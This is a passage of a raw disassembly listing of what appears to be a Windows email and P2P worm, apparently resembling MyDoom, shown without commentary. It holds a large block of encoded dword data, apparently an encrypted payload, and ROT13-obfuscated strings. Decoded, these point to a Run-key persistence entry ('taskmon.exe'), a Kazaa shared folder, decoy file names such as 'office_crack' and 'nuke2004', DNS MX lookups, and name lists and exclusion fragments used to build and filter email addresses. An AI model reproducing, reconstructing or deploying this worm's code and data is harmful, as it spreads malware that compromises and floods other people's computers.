  470.         dd 0C5E099F8h, 0A117914Bh, 0B322DE21h, 48543F3Fh, 7E6F7B51h
  471.         dd 6ED9CFD6h, 23032995h, 0BF0994E9h, 41A5F3E6h,    327CA610h
  472.         dd 806B6DC8h, 0C72D0B21h, 8210D24Eh, 0A773F96Ch, 8714DE77h
  473.         dd 52FB0707h, 0C06101AAh, 26F79B2Ch, 9D97DD96h,    460F6022h
  474.         dd 2CFDCD9Eh, 0B2937F40h, 2009F1D2h, 63687658h,    5152505Dh
  475.         dd 77646A53h, 0EFC52C01h, 57BC3054h, 9DCE3C11h,    0E3206E57h
  476.         dd 0D1DA60ADh, 66CE1552h, 0C041B75Fh, 9365E414h, 72FE789Fh
  477.         dd 6AE7BC0Dh, 137B7B95h, 1C7D7676h, 0F6F22D0Dh,    0D1F1B0F4h
  478.         dd 0DDFA79E7h, 0FFA3654Ch, 0DD8C6C27h, 1B8CDB0Bh, 8775BDA9h
  479.         dd 14DB4F3Bh, 9144282h,    0F82CC45h, 29B762FAh, 8315FB73h
  480.         dd 7E931EE7h, 296924B4h, 0CB28BDFFh, 0E774EEAh,    0F7BFB03Ah
  481.         dd 73ECD454h, 4D987398h, 0A2F29D06h, 0F362C2AFh, 0DF375EE5h
  482.         dd 7527105h, 7E401BF8h,    0A9A73E54h, 7D022C4Fh, 6E7C830h
  483.         dd 1A2A54D2h, 9D014C6Bh, 0FA6AF604h, 0F806C71Dh, 0AB04901Dh
  484.         dd 6060096h, 99EF2B10h,    17FF4ED4h, 930B2FC3h, 2175F8C6h
  485.         dd 0FF5FA48Ch, 0EB6B72CCh, 0FDA5FE6Fh, 0C941D0ECh, 0C4D99178h
  486.         dd 0E8C726ACh, 1AB7A9E0h, 29EC6F5Dh, 0F3BCA310h, 516FF5EDh
  487.         dd 0D68D3521h, 29481C53h, 5CB7E318h, 0CDB89D3Fh, 0E35552D0h
  488.         dd 0BEEA43B5h, 0A0A0E367h, 49CEE232h, 302F243Ah, 84AE8F0Ah
  489.         dd 0A14075E1h, 0F5B29862h, 0E3E04A30h, 0C18191FFh, 88770727h
  490.         dd 0B3548F67h, 0FEE20885h, 61AB4582h, 0BBDA748Eh, 0F0AE382Ah
  491.         dd 9C18D44Ah, 0C2488A17h, 0FB9EBCB5h, 6EE6561Fh, 473BE090h
  492.         dd 0B71AA0B3h, 0C4BCAAD2h, 0A64893F7h, 0FF04C001h, 5D8B1206h
  493.         dd 94BDD8A9h, 0E81FF831h, 0DF3E635Ah, 42CA0AD6h, 605E0CD5h
  494.         dd 0F4F57249h, 1753F4AEh, 0F21516FCh, 70739A8Eh, 0E2B1823Ch
  495.         dd 535B378Eh, 9427A216h, 0B1AC5854h, 0AA3E3735h, 21956575h
  496.         dd 841AEB6Eh, 0AE66A81h, 953A3F18h, 0E382819Fh,    3D47A473h
  497.         dd 2ED60209h, 0D5A7C288h, 0EA5C8A3Fh, 5F3B569Fh, 79C34A3Dh
  498.         dd 0B809435Fh, 0CE9AABF0h, 0D985B21Eh, 3BD4C14Bh, 0DFCFC3A7h
  499.         dd 4AF947F6h, 2DFBD8F7h, 62678AB4h, 11AD58FFh, 5BF7228Ch
  500.         dd 85DF58CBh, 65E0ACFCh, 9497EBDAh, 0EF0860E2h,    0ECE33C3Fh
  501.         dd 608E107Fh, 9B4DDD7Eh, 1B059DE4h, 0CCDB7A97h,    8F37FBB3h
  502.         dd 1D39F125h, 0F51A7CB2h, 9FBD1F1Dh, 0E9EAC6E9h, 96D93EEBh
  503.         dd 0DA3BFD70h, 0F3F62545h, 4D6E7A4h, 0FE394C21h, 8987A45Bh
  504.         dd 0D3049D92h, 2A8D5BB0h, 0CA1B4236h, 5034E4D1h, 0C51CC3ACh
  505.         dd 6C8A66E1h, 4251335Bh, 0AB233EEDh, 94EED762h,    0E9B234F4h
  506.         dd 5EAC49D5h, 6DBCAE26h, 5B956779h, 82A48637h, 0C387AE3Dh
  507.         dd 0B680B087h, 0BBDF43DFh, 2F65808Bh, 0CB32A81Eh, 37932AB5h
  508.         dd 62E27943h, 0EDBA5A34h, 226C5C69h, 73D518ACh,    86C8EBE1h
  509.         dd 4F495A2Fh, 37F343F1h, 18366FCBh, 0A12D673Dh,    124298F1h
  510.         dd 0CAC10DB8h, 0F86B0A6Bh, 78D8D05h, 88E8979Eh,    0B8B2B650h
  511.         dd 32CFC3D9h, 7EDA5F81h, 1DD0F75Fh, 31B4A0Dh, 3F0F7D3Ah
  512.         dd 0F1184F0Bh, 0B588E12Bh, 0D4F72437h, 6F371F07h, 5D906BCDh
  513.         dd 9F979642h, 2F9D9FA2h, 86405626h, 0B5AC1BF7h,    3B27BC5Ah
  514.         dd 899DA424h, 4FA5C8D3h, 68FA36h, 195D3EBEh, 14C9F5D6h
  515.         dd 8EE4F0C9h, 0B89362Ch, 0D1EB86E0h, 6C330A0Bh,    8636B35Bh
  516.         dd 8ABDE492h, 0B9C7A030h, 0DED0BC5Eh, 4AC8C1ABh, 5DBF82D7h
  517.         dd 939EA0E5h, 40D82590h, 9A0312Fh, 130B3A6h, 0AD5FD8A1h
  518.         dd 18BC6891h, 2CF53972h, 8B6163A1h, 26411A1Eh, 0AA471B37h
  519.         dd 0C5BBF0D9h, 4CE031E6h, 0FAE8692Ch, 0F770C611h, 0A247FB43h
  520.         dd 0F7D5A0DAh, 0B5BFC528h, 4D17095h, 4D54D2F5h,    3D96FF69h
  521.         dd 2CA50693h, 0C7839BAh, 23029DDBh, 965599C3h, 875B84h
  522.         dd 34333C27h, 1DF63580h, 5EA624F3h, 0DA38EFC6h,    0DF87AADCh
  523.         dd 3F2F72D8h, 96F6E4C4h, 35448F36h, 0D541F547h,    67692691h
  524.         dd 2CDA13CAh, 29096D32h, 415A7311h, 3D3A0B56h, 0AC1D52F0h
  525.         dd 0F01AA62Fh, 1431FAB7h, 0F929726h, 5FA4A4B4h,    0CD05EBEh
  526.         dd 0B7CFCFh, 917AD36Bh,    92883854h, 0E70AE5B1h, 9A2595E0h
  527.         dd 944AC8C8h, 0A5038227h, 0B4F17BCEh, 0B0361DF3h, 917FD10Ch
  528.         dd 0FE257943h, 75368A52h, 0C1DBEF6Bh, 0FC623D9h, 0A415753Eh
  529.         dd 0BABCFDC0h, 5A083CC3h, 6E8673E7h, 7057B0D5h,    0A47E0F3Ah
  530.         dd 42D550DCh, 0AF8E0F3Fh, 40E0AB3Fh, 5494E373h,    14897F5Ch
  531.         dd 3EDF9B2h, 0BFE2218h,    95942A8Fh, 0FA614D1Dh, 13616F26h
  532.         dd 0C21DFE83h, 0E6FB3D0Ch, 34283F7Fh, 22AF2B9Eh, 0EBA229CDh
  533.         dd 0B80A0B67h, 667E4968h, 0D3AAAAC0h, 6875CB2Ah, 0A7917CA0h
  534.         dd 0A7DBDF48h, 2506FF1Ah, 0E5D70524h, 0E2EDE0ECh, 670EF9F8h
  535.         dd 0BB915697h, 0D7CD5CF4h, 0B7BA91DFh, 5D9AB93Fh, 395DAC88h
  536.         dd 976B71ECh, 2EC02BECh, 9DC56808h, 0B091B59h, 0B619299Ch
  537.         dd 59955953h, 0F976120Fh, 0AF91D49Bh, 4841B04Eh, 2887EEA0h
  538.         dd 0E9F67A6h, 0C84F3FC7h, 99C502B6h, 7364B55Ch,    0B6009B0Eh
  539.         dd 0EB145441h, 0C5EA8309h, 658EF900h, 2461685Eh, 0E1E3F656h
  540.         dd 0C8DA9352h, 0C6779B5Fh, 0D2CA89A2h, 0F122DBE4h, 0C91C8F1Fh
  541.         dd 40D5E869h, 0DC4CB878h, 0B3C9F17Ch, 0A06A806Eh, 0B9842B85h
  542.         dd 0E7CDABE0h, 9BB77F71h, 91B55A31h, 703408D2h,    0A3268C4Eh
  543.         dd 8A2C669h, 0C89B5D9Bh, 40FD5B8Bh, 5840DC96h, 0D54210CCh
  544.         dd 0C58BB0FCh, 0DFB28B6Dh, 1174F71Dh, 10A926DCh, 327E4A20h
  545.         dd 61E5BE41h, 7F72E94Bh, 4306BC27h, 13F95293h, 0BE5DF61Bh
  546.         dd 0FC29C40h, 8BC60099h
  547.         dd 0D786F5ACh, 779E82E0h, 0E6D4FA8Bh, 18C2104Eh, 0ED283E4Bh
  548.         dd 7F0A7CF9h, 6A87EE47h, 0FE99B976h, 5A6CAE5Dh,    1B4EB588h
  549.         dd 8E7189EBh, 6F6F1FCh,    135C797Ch, 0F5214FB1h, 622BF554h
  550.         dd 7063A47Dh, 4462AAB5h, 0C635912Ah, 22806698h,    2C558F58h
  551.         dd 0B141D878h, 10722C3Ah, 0ACEFDB70h, 0E4799265h, 4AF1F51Fh
  552.         dd 0F06B687Dh, 6D74C2E6h, 10FEC2E6h, 40C53D50h,    9A29BDAh
  553.         dd 17D8808h, 0A5C632F9h, 2C197407h, 20A8CEF3h, 0B58DDED6h
  554.         dd 0E56F7EA6h, 41475694h, 0EBEECCD8h, 0A4FF69Fh, 3AEE26E1h
  555.         dd 35AB459h, 9FF77145h,    0A0358308h, 0FFA25692h,    805A6E12h
  556.         dd 0F62EFD4Fh, 0F7A12B68h, 33FC3AA3h, 1947BD3Ch, 86D848A5h
  557.         dd 0C22BDF55h, 1F840B6Ch, 0CF17D886h, 0FDD4E905h, 0F5DAE5EBh
  558.         dd 63BCADA1h, 0F3033E4Eh, 1E1E8486h, 7B9ED2E7h,    3BBEA143h
  559.         dd 0EA349FB1h, 59DB598Ah, 0AC32AF63h, 29BEC550h, 0EA04E5C5h
  560.         dd 8901FE5Fh, 76CA7D14h, 8B4BC1F3h, 581B3C7Fh, 0CC81640Bh
  561.         dd 0DD704435h, 473210F0h, 0D8BA8449h, 9DA480D4h, 6B08E801h
  562.         dd 117D1139h, 3DF7E3EFh, 4718B4B0h, 8C9F3131h, 0EB8D368Ah
  563.         dd 0E3B45288h, 17A63BCFh, 0F67CA12h, 0B44777ADh, 0BC381ECDh
  564.         dd 0AF2BAC1Bh, 9019841h, 0B8010F03h, 39BDB411h,    2160750Dh
  565.         dd 1461ED1Bh, 66B288BBh, 82CD9455h, 6EA1CF55h, 0EB76AF19h
  566.         dd 2AA452B7h, 0EFB04B10h, 0EF2F9029h, 69295062h, 96A574AFh
  567.         dd 2804A76Dh, 0A27DD20Fh, 169936FFh, 0CA76CE0h,    825746BCh
  568.         dd 0A436EBE5h, 0E9A07C96h, 4A308F62h, 43283239h, 0A9C3AB7Eh
  569.         dd 0F9C0218Eh, 5A234322h, 4F24FC72h, 59FA2842h,    74C4CE80h
  570.         dd 0EE9ECB21h, 4F149855h, 22D14FECh, 5B128A5h, 13983AB9h
  571.         dd 0C9517F7Ah, 8E9D7968h, 16ECC2B1h, 56835E24h,    4C50F326h
  572.         dd 753478A7h, 0B57505D5h, 9BD4E0Eh, 0E131F977h,    74FB601Fh
  573.         dd 48D155D6h, 70E969DDh, 5BAD9A1Ch, 4686F9F0h, 0F146ADCBh
  574.         dd 0AD613AB3h, 0F3CA66A0h, 0B6F9AFB1h, 0A6CD0594h, 534E7E8Ch
  575.         dd 66B930AFh, 2D67E1F8h, 44402A28h, 0B68A7E78h,    4EA8AFE6h
  576.         dd 2DD6DE5Ch, 0AFADACAAh, 6FCA852Bh, 232BD815h,    0DDEC3B51h
  577.         dd 424ACFC9h, 0AAACEE93h, 216FF02Fh, 50EF8C7Ah,    0B55C2145h
  578.         dd 6233D73h, 0BAE52908h, 432250A9h, 936E63D2h, 28CDEEC6h
  579.         dd 927A13AAh, 34E7B38h,    0FF7BF309h, 0B436BFA1h,    0CA40B935h
  580.         dd 1085E517h, 86E445A9h, 2C7ED32Bh, 0A6CED5Dh, 8EC770BEh
  581.         dd 5E6C9DD0h, 0BE96F6ADh, 0D9EEE4FBh, 57F5E898h, 1D0B387Ah
  582.         dd 8C9E93F6h, 0FA1E47A7h, 23D3E888h, 0B0F74A54h, 85AAF560h
  583.         dd 128D6B0Eh, 0F09A47F6h, 61717E48h, 0E21D2D40h, 0F3B3E081h
  584.         dd 9BB9DE9Fh, 8BF4889Eh, 0D6F58C18h, 601A8A2Dh,    0E6640A93h
  585.         dd 998173Bh, 0B4F93F1Eh, 3371BAB2h, 0D3361F6Eh,    97581671h
  586.         dd 0D448417Dh, 5423050h, 6B4C125Bh, 0DBDBBEAFh,    19327B00h
  587.         dd 7CC4C075h, 53B4BA4Bh, 0A34316E7h, 916A5308h,    7FC8380Dh
  588.         dd 27328CF1h, 6761B93h,    0A108C622h, 0EE205A30h,    0C51FF67Bh
  589.         dd 610E92AFh, 753F72D7h, 42053C0Fh, 7CF5397Dh, 3162D200h
  590.         dd 816AD0BBh, 0ECEE56BBh, 844C5961h, 0C3BAB4C4h, 32584B01h
  591.         dd 0F81C93DAh, 0B863F3C7h, 4CFF7F9Dh, 7355AF1Bh, 569FDCA6h
  592.         dd 63FFFED7h, 1DBE8FABh, 0F9DE4DCBh, 0F6B7D3E5h, 9F3EEC1Ch
  593.         dd 6531B1FAh, 5B3A427Ah, 8D27B6h, 0CE0CB50h, 9510EDFDh
  594.         dd 85F667E6h, 598DF4FEh, 67C6FDA3h, 7ACA25F6h, 0E3677B08h
  595.         dd 0B1B5ECC6h, 3CE741B1h, 6B16D00Dh, 6B4B7E70h,    4EDA3E1Bh
  596.         dd 0BEBAA30h, 0D2E8A99Bh, 44B4D113h, 36BCEB06h,    0BA29D088h
  597.         dd 0FD515EA5h, 5B129E24h, 0BAA4A36Ah, 20C67F3Ah, 0CDC9870Fh
  598.         dd 0FC5E4CE7h, 7F79CE64h, 797AB5ADh, 35B92928h,    0C8EAAA49h
  599.         dd 4A2DC30Ch, 0DF344F62h, 5B783646h, 46BED191h,    0D5863150h
  600.         dd 534AD58Eh, 4627F5B9h, 952D1AAAh, 9BFC0B4Ah, 6BA223E6h
  601.         dd 0ADD80637h, 1F3E6085h, 0C1D4EA03h, 939AA4B1h, 95908E8Fh
  602.         dd 0C7B6A89Dh, 290CF2DBh, 0BB926C49h, 7D4816E7h, 6F2EF0B5h
  603.         dd 9144FAB3h, 0E38A34E1h, 65009E3Fh, 17A638CDh,    0F97C028Bh
  604.         dd 0B82FC79h, 0A09A9797h, 0D6C4B5A9h, 3C1E03EBh, 0D2A8815Dh
  605.         dd 98622FFFh, 8E4C0DD1h, 0B4661BD3h, 0AB05905h,    902AC767h
  606.         dd 46D465F9h, 2CAE33BBh, 42B831ADh, 88F25FCFh, 0FE5CBD21h
  607.         dd 0A4F64BA3h, 7AC00955h, 80BAF737h, 0B6E41549h, 1C3E638Bh
  608.         dd 0B2C8E1FDh, 78828F9Fh, 6E6C6D71h, 94867B73h,    0EAD0B9A5h
  609.         dd 704A2707h, 26F4C599h, 0CCE935Bh, 22D8914Dh, 6812BF6Fh
  610.         dd 0DE7C1DC1h, 8416AB43h, 5AE069F5h, 60DA57D7h,    787575E9h
  611.         dd 0A293877Eh, 0FCE1C9B4h, 865F3B1Ah, 400DDDB0h, 2AEBAF76h
  612.         dd 44F9B16Ch, 8E37E392h, 8A545E8h, 0B243D76Eh, 8C119924h
  613.         dd 960F8B0Ah, 0D03DAD20h, 3A9BFF66h, 0D42981DCh, 9EE73382h
  614.         dd 98D51558h, 0C2F3275Eh, 1C416994h, 0A6BFDBFAh, 606D7D90h
  615.         dd 4A4B4F56h, 6459514Ch, 0AE978372h, 2805E5C8h,    0D2A3774Eh
  616.         dd 0AC713904h, 0B66F2BEAh, 0F09D4D00h, 5AFB9F46h, 0F48921BCh
  617.         dd 0BE47D362h, 0B835B538h, 5353C73Eh, 71655C56h, 0BFA79280h
  618.         dd 3D19F8DAh, 0EBBB8E64h, 0C98D541Eh, 0D78F4A08h, 15C17022h
  619.         dd 8323C66Ch, 21B54CE6h, 0EF770290h, 0ED69E86Ah, 1B8BFE74h
  620.         dd 79DD44AEh, 75FBA18h,    0C51160B2h, 0B3F3367Ch,    0D1053C76h
  621.         dd 1F4772A0h, 9DB9D8FAh, 4B5B6E84h, 292D343Eh, 372F2A28h
  622.         dd 75615042h, 0E3C3A68Ch, 81552C06h, 4F17E2B0h,    4D09C88Ah
  623.         dd 7B2BDE94h, 0D97D24CEh, 67FF9A38h, 25B140D2h,    1393169Ch
  624.         dd 31A51C96h, 433A3431h, 85703EC7h, 0F7D6D8F9h,    996C421Bh
  625.         dd 6B32FCC9h, 6D28E6A7h, 9F4E6020h, 1A42A83h, 932AC461h
  626.         dd 55E06EFFh, 47C648CDh, 69DC3269h, 0BB22EC81h,    3D98F657h
  627.         dd 0EF3E90E5h, 0D1145AA3h, 0E31A343Ch, 25501E2Fh, 97B6D8FDh
  628.         dd 394C627Bh, 0B121C29h, 0D080607h, 3F2E2015h, 0A1840AEBh
  629.         dd 330A8407h, 0F5C08E5Fh, 0E7A608FBh, 9BC722Bh,    5B02CCBDh
  630.         dd 0DD7816B7h, 0F1EB055h, 71F47A03h, 0CDA831BAh, 2A21434Ah
  631.         dd 270690Fh, 0E2D23A63h, 7969A994h, 7CBE8945h, 55918525h
  632.         dd 1EEDC10Eh, 0EE44B553h, 47F168DFh, 8C7F9632h,    0C84ACF1Dh
  633.         dd 0D57CA925h, 6926B326h, 4B547FBh, 1C6E8262h, 0A24CE48Ah
  634.         dd 0B95100DDh, 4B2EE9A5h, 94B6A870h, 69273C27h,    9589687Bh
  635.         dd 0E69D80A2h, 7F89F3EBh, 0C21436Dh, 0E883F90Bh, 9E6C6D11h
  636.         dd 84460BDFh, 9A503168h, 0E08A37E7h, 56F49539h,    0FC8E23BBh
  637.         dd 0D258E16Dh, 0D852CF4Fh, 0F0EDED61h, 1A0BFFF6h, 7459412Ch
  638.         dd 0FED7B392h, 0B8855528h, 0A26327EEh, 0BC7129E4h, 6AF5B0Ah
  639.         dd 801DBD60h, 2ABB4FE6h, 489119Ch, 0E870382h, 48B52598h
  640.         dd 0B21377DEh, 4CA1F954h, 165FABFAh, 104D8DD0h,    3A6B9FD6h
  641.         dd 94B9E10Ch, 1E375372h, 0D8E5F508h, 0C2C3C7CEh, 0DCD1C9C4h
  642.         dd 260FFBEAh, 0A07D5D40h, 4A1BEFC6h, 24E9B17Ch,    2EE7A362h
  643.         dd 6815C578h, 0D27317BEh, 6C019934h, 36BF4BDAh,    30AD2DB0h
  644.         dd 0CBCB3FB6h, 0E9DDD4CEh, 371F0AF8h, 0B5917052h, 633306DCh
  645.         dd 4105CC96h, 4F07C280h, 8D39E89Ah, 0FB9B3EE4h,    992DC45Eh
  646.         dd 67EF7A08h, 65E160E2h, 930376ECh, 0F155BC26h,    7FD73290h
  647.         dd 3D89D82Ah, 2B6BAEF4h, 497DB4EEh, 97BFEA18h, 15315072h
  648.         dd 0C3D3E6FCh, 0A1A5ACB6h, 0AFA7A2A0h, 0EDD9C8BAh, 5B3B1E04h
  649.         dd 0F9CDA47Eh, 0C78F5A28h
  650.         dd 6E797328h, 2C632E63h, 2E302076h, 30322031h, 302F3430h
  651.         dd 78782F31h, 3A787820h, 783A7878h, 6E612078h, 297964h
  652. dword_4A2428    dd 207D4h, 0C0000h, 1C0002h, 39h ; DATA    XREF: start+32o
  653. dword_4A2438    dd 207D4h, 10000h, 90010h, 12h ; DATA XREF: start+3Eo
  654. ; const    CHAR String2
  655. String2        db '\'                  ; DATA XREF: sub_4A3962+7Eo
  656.                     ; sub_4A3B88+A6o ...
  657.         align 4
  658. dword_4A244C    dd 7A767566h, 76636E74h, 7979712Eh, 2 dup(0) ; DATA XREF: sub_4A3962+Fo
  659. aFbsgjnerZvpebf    db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\'
  660.                     ; DATA XREF: sub_4A3AA3+11o
  661.         db 'Irefvba',0
  662. aFjrofvcpfzgkf0    db 'FjroFvcpFzgkF0',0   ; DATA XREF: sub_4A3B52+9o
  663.         align 4
  664. aGnfxzba_rkr    db 'gnfxzba.rkr',0      ; DATA XREF: sub_4A3B88+Fo
  665. aGnfxzba    db 'GnfxZba',0          ; DATA XREF: sub_4A3CD7+1Eo
  666. aFbsgjnerZvpe_0    db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha',0
  667.                     ; DATA XREF: sub_4A3CD7+10o
  668.         align 4
  669. aNotepadS    db 'notepad %s',0       ; DATA XREF: StartAddress+141o
  670.         align 4
  671. aMessage    db 'Message',0          ; DATA XREF: StartAddress+66o
  672. aSUSU_2u_2u_2uS    db '%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u',0 ; DATA XREF: sub_4A40B3+14Eo
  673.         align 4
  674. asc_4A2534:                ; DATA XREF: sub_4A40B3+117o
  675.         unicode    0, <->,0
  676. asc_4A2538:                ; DATA XREF: sub_4A40B3+110o
  677.         unicode    0, <+>,0
  678. aDec        db 'Dec',0              ; DATA XREF: sub_4A40B3+8Do
  679. aNov        db 'Nov',0              ; DATA XREF: sub_4A40B3+86o
  680. aOct        db 'Oct',0              ; DATA XREF: sub_4A40B3+7Fo
  681. aSep        db 'Sep',0              ; DATA XREF: sub_4A40B3+78o
  682. aAug        db 'Aug',0              ; DATA XREF: sub_4A40B3+71o
  683. aJul        db 'Jul',0              ; DATA XREF: sub_4A40B3+6Ao
  684. aJun        db 'Jun',0              ; DATA XREF: sub_4A40B3+63o
  685. aMay        db 'May',0              ; DATA XREF: sub_4A40B3+5Co
  686. aApr        db 'Apr',0              ; DATA XREF: sub_4A40B3+55o
  687. aMar        db 'Mar',0              ; DATA XREF: sub_4A40B3+4Eo
  688. aFeb        db 'Feb',0              ; DATA XREF: sub_4A40B3+47o
  689. aJan        db 'Jan',0              ; DATA XREF: sub_4A40B3+40o
  690. aSat        db 'Sat',0              ; DATA XREF: sub_4A40B3+39o
  691. aFri        db 'Fri',0              ; DATA XREF: sub_4A40B3+32o
  692. aThu        db 'Thu',0              ; DATA XREF: sub_4A40B3+2Bo
  693. aWed        db 'Wed',0              ; DATA XREF: sub_4A40B3+24o
  694. aTue        db 'Tue',0              ; DATA XREF: sub_4A40B3+1Do
  695. aMon        db 'Mon',0              ; DATA XREF: sub_4A40B3+16o
  696. aSun        db 'Sun',0              ; DATA XREF: sub_4A40B3+Fo
  697. aAbcdefghijkl_0    db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4A45E3+1Ao
  698.         align 4
  699. aAbcdefghijklmn    db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4A45E3+Ao
  700.         align 4
  701. aVagreargtrgpba    db 'VagreargTrgPbaarpgrqFgngr',0 ; DATA XREF: sub_4A4681+44o
  702.         align 4
  703. aJvavarg_qyy    db 'jvavarg.qyy',0      ; DATA XREF: sub_4A4681+Ao
  704. aAhxr2004    db 'ahxr2004',0         ; DATA XREF: .text:004A11A8o
  705.         align 4
  706. aBssvpr_penpx    db 'bssvpr_penpx',0     ; DATA XREF: .text:004A11A4o
  707.         align 4
  708. aEbbgxvgkc    db 'ebbgxvgKC',0        ; DATA XREF: .text:004A11A0o
  709.         align 4
  710. aFgevcTvey2_0oq    db 'fgevc-tvey-2.0oqpbz_cngpurf',0 ; DATA XREF: .text:004A119Co
  711. aNpgvingvba_pen    db 'npgvingvba_penpx',0 ; DATA XREF: .text:004A1198o
  712.         align 4
  713. aVpd2004Svany    db 'vpd2004-svany',0    ; DATA XREF: .text:004A1194o
  714.         align 4
  715. aJvanzc5    db 'jvanzc5',0
  716. aT:                    ; DATA XREF: sub_4A46F7+19Ao
  717.         unicode    0, <t>,0
  718. aBa        db 'ba',0               ; DATA XREF: sub_4A46F7+192o
  719.         align 4
  720. aE:                    ; DATA XREF: sub_4A46F7+185o
  721.                     ; sub_4A6FCD+24Fo
  722.         unicode    0, <e>,0
  723. aEx        db 'ex',0               ; DATA XREF: sub_4A46F7+17Do
  724.         align 4
  725. aR:                    ; DATA XREF: sub_4A46F7+170o
  726.         unicode    0, <r>,0
  727. aSc        db 'sc',0               ; DATA XREF: sub_4A46F7+168o
  728.         align 4
  729. aF:                    ; DATA XREF: sub_4A46F7+15Bo
  730.         unicode    0, <f>,0
  731. aPi        db 'pi',0               ; DATA XREF: sub_4A46F7+153o
  732.         align 4
  733. a__1:                    ; DATA XREF: sub_4A46F7+124o
  734.                     ; sub_4A6FCD+1B1o ...
  735.         unicode    0, <.>,0
  736. aQyqve0        db 'QyQve0',0           ; DATA XREF: sub_4A46F7+28o
  737.         align 4
  738. aFbsgjnerXnmnnG    db 'Fbsgjner\Xnmnn\Genafsre',0 ; DATA XREF: sub_4A46F7+10o
  739. aIphlpapi_dll    db 'iphlpapi.dll',0     ; DATA XREF: .text:004A4FD4o
  740.         align 4
  741. aDnsquery_a    db 'DnsQuery_A',0       ; DATA XREF: sub_4A4EFE+33o
  742.         align 4
  743. aDnsapi_dll    db 'dnsapi.dll',0       ; DATA XREF: sub_4A4EFE+8o
  744.         align 4
  745. aGetnetworkpara    db 'GetNetworkParams',0 ; DATA XREF: .text:004A5002o
  746.         align 4
  747. aSandra        db 'sandra',0           ; DATA XREF: .text:004A13E8o
  748.         align 4
  749. aLinda        db 'linda',0            ; DATA XREF: .text:004A13E4o
  750.         align 4
  751. aJulie        db 'julie',0            ; DATA XREF: .text:004A13E0o
  752.         align 4
  753. aJimmy        db 'jimmy',0            ; DATA XREF: .text:004A13DCo
  754.         align 4
  755. aJerry        db 'jerry',0            ; DATA XREF: .text:004A13D8o
  756.         align 4
  757. aHelen        db 'helen',0            ; DATA XREF: .text:004A13D4o
  758.         align 4
  759. aDebby        db 'debby',0            ; DATA XREF: .text:004A13D0o
  760.         align 4
  761. aClaudia    db 'claudia',0          ; DATA XREF: .text:004A13CCo
  762. aBrenda        db 'brenda',0           ; DATA XREF: .text:004A13C8o
  763.         align 4
  764. aAnna        db 'anna',0             ; DATA XREF: .text:004A13C4o
  765.         align 4
  766. aAlice        db 'alice',0            ; DATA XREF: .text:004A13C0o
  767.         align 4
  768. aBrent        db 'brent',0            ; DATA XREF: .text:004A13BCo
  769.         align 4
  770. aAdam        db 'adam',0             ; DATA XREF: .text:004A13B8o
  771.         align 4
  772. aTed        db 'ted',0              ; DATA XREF: .text:004A13B4o
  773. aFred        db 'fred',0             ; DATA XREF: .text:004A13B0o
  774.         align 4
  775. aJack        db 'jack',0             ; DATA XREF: .text:004A13ACo
  776.         align 4
  777. aBill        db 'bill',0             ; DATA XREF: .text:004A13A4o
  778.         align 4
  779. aStan        db 'stan',0             ; DATA XREF: .text:004A13A0o
  780.         align 4
  781. aSmith        db 'smith',0            ; DATA XREF: .text:004A139Co
  782.         align 4
  783. aSteve        db 'steve',0            ; DATA XREF: .text:004A1398o
  784.         align 4
  785. aMatt        db 'matt',0             ; DATA XREF: .text:004A1394o
  786.         align 4
  787. aDave        db 'dave',0             ; DATA XREF: .text:004A1390o
  788.         align 4
  789. aDan        db 'dan',0              ; DATA XREF: .text:004A138Co
  790. aJoe        db 'joe',0              ; DATA XREF: .text:004A1388o
  791. aJane        db 'jane',0             ; DATA XREF: .text:004A1384o
  792.         align 4
  793. aBob        db 'bob',0              ; DATA XREF: .text:004A1380o
  794.                     ; .text:004A13A8o
  795. aRobert        db 'robert',0           ; DATA XREF: .text:004A137Co
  796.         align 4
  797. aPeter        db 'peter',0            ; DATA XREF: .text:004A1378o
  798.         align 4
  799. aTom        db 'tom',0              ; DATA XREF: .text:004A1374o
  800. aRay        db 'ray',0              ; DATA XREF: .text:004A1370o
  801. aMary        db 'mary',0             ; DATA XREF: .text:004A136Co
  802.         align 4
  803. aSerg        db 'serg',0             ; DATA XREF: .text:004A1368o
  804.         align 4
  805. aBrian        db 'brian',0            ; DATA XREF: .text:004A1364o
  806.         align 4
  807. aJim        db 'jim',0              ; DATA XREF: .text:004A1360o
  808. aMaria        db 'maria',0            ; DATA XREF: .text:004A135Co
  809.         align 4
  810. aLeo        db 'leo',0              ; DATA XREF: .text:004A1358o
  811. aJose        db 'jose',0             ; DATA XREF: .text:004A1354o
  812.         align 4
  813. aAndrew        db 'andrew',0           ; DATA XREF: .text:004A1350o
  814.         align 4
  815. aSam        db 'sam',0              ; DATA XREF: .text:004A134Co
  816. aGeorge        db 'george',0           ; DATA XREF: .text:004A1348o
  817.         align 4
  818. aDavid        db 'david',0            ; DATA XREF: .text:004A1344o
  819.         align 4
  820. aKevin        db 'kevin',0            ; DATA XREF: .text:004A1340o
  821.         align 4
  822. aMike        db 'mike',0             ; DATA XREF: .text:004A133Co
  823.         align 4
  824. aJames        db 'james',0            ; DATA XREF: .text:004A1338o
  825.         align 4
  826. aMichael    db 'michael',0          ; DATA XREF: .text:004A1334o
  827. aAlex        db 'alex',0             ; DATA XREF: .text:004A1330o
  828.         align 4
  829. aJohn        db 'john',0             ; DATA XREF: .text:004A1328o
  830.                     ; .text:004A132Co
  831.         align 4
  832. aAccoun        db 'accoun',0           ; DATA XREF: .text:004A131Co
  833.         align 4
  834. aCertific    db 'certific',0         ; DATA XREF: .text:004A1314o
  835.         align 4
  836. aListserv    db 'listserv',0         ; DATA XREF: .text:004A1310o
  837.         align 4
  838. aNtivi        db 'ntivi',0            ; DATA XREF: .text:004A1300o
  839.         align 4
  840. aSupport    db 'support',0          ; DATA XREF: .text:004A12FCo
  841. aIcrosoft    db 'icrosoft',0         ; DATA XREF: .text:004A12F8o
  842.         align 4
  843. aAdmin        db 'admin',0
  844.         align 4
  845. aPage        db 'page',0             ; DATA XREF: .text:004A12ECo
  846.         align 4
  847. aThe_bat    db 'the.bat',0          ; DATA XREF: .text:004A12E8o
  848. aGoldCerts    db 'gold-certs',0       ; DATA XREF: .text:004A12E4o
  849.         align 4
  850. aCa        db 'ca',0               ; DATA XREF: .text:004A12E0o
  851.         align 4
  852. aFeste        db 'feste',0            ; DATA XREF: .text:004A12DCo
  853.         align 4
